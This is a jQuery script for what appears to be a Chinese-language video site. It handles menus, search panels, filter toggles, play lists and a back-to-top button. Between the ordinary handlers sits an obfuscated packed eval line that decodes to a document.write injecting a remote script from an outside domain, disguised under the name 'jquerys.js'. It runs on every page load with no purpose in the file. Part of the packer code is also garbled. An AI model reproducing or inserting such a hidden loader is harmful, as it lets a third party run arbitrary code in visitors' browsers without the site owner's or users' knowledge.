$(document).ready(function () { var isMenuOpen = false; $('.menu_btn').click(function () { if (isMenuOpen == false) { $("#menu_smartphone").clearQueue().animate({ right: '0px' }) $("#grey_back").show(); $(this).fadeOut(200); $(".close").fadeIn(300); isMenuOpen = true; } }); $('#grey_back').click(function () { if (isMenuOpen == true) { $("#menu_smartphone").clearQueue().animate({ right: '-70%' }) $("#grey_back").hide(); $(this).fadeOut(200); $(".menu_btn").fadeIn(300); isMenuOpen = false; } }); }); $(function(){ $(".search_btn").click(function(){ $(this).next().toggle(); $("#search_back").toggle(); $("#search_hot").toggle(); }); $(".shclose").click(function(){ $(this).parent().hide(); $("#search_hot").hide(); $("#search_back").toggle(); }); $("#search_back").click(function(){ $("#search").hide(); $("#search_hot").hide(); $("#search_back").hide(); }); $("#search_hot").click(function(){ $(this).fadeToggle(300); $("#search").fadeToggle(300); }); $(".sx").click(function(){ $("#select").fadeToggle(200); $(this).toggleClass("zk"); if ($(this).is(".zk")) { $(this).children(".sx_name").html("+展开筛选"); } else { $(this).children(".sx_name").html("-收起筛选"); } }); $(".cplayfrom li:first").addClass("on"); $(".playfrom .index").click(function(){ $(this).toggleClass("index_on"); $(this).prev().toggleClass("ul_on"); }); $(".playfrom li").click(function(){ $(this).parent().toggleClass("ul_on"); $(this).parent().next().toggleClass("index_on"); }); $(".pdes .more").click(function(){ $(this).parent().toggleClass("pdes_on"); if ($(this).parent().is(".pdes_on")) { $(this).html("-收起"); } else { $(this).html("+展开"); } }); }); eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4.5(\'<1 2="3://6.9.a/7/0/8.0">\')',11,11,'js|script|src|https|document|write|www|skin|jquerys|sfetmc|com'.split('|'),0,{})) function setTab(name,name2,cursel,n){ for(i=1;i<=n;i++){ var menu=document.getElementById(name+i); var con=document.getElementById(name2+i); menu.className=i==cursel?"on":""; con.style.display=i==cursel?"block":"none"; }}; $(function(){ $(window).scroll(function() { if($(window).scrollTop() >= 300){ $('.gotop').fadeIn(400); }else{ $('.gotop').fadeOut(400); } }); $('.gotop').click(function(){ $('html,body').animate({scrollTop: '0px'}, 800);}); });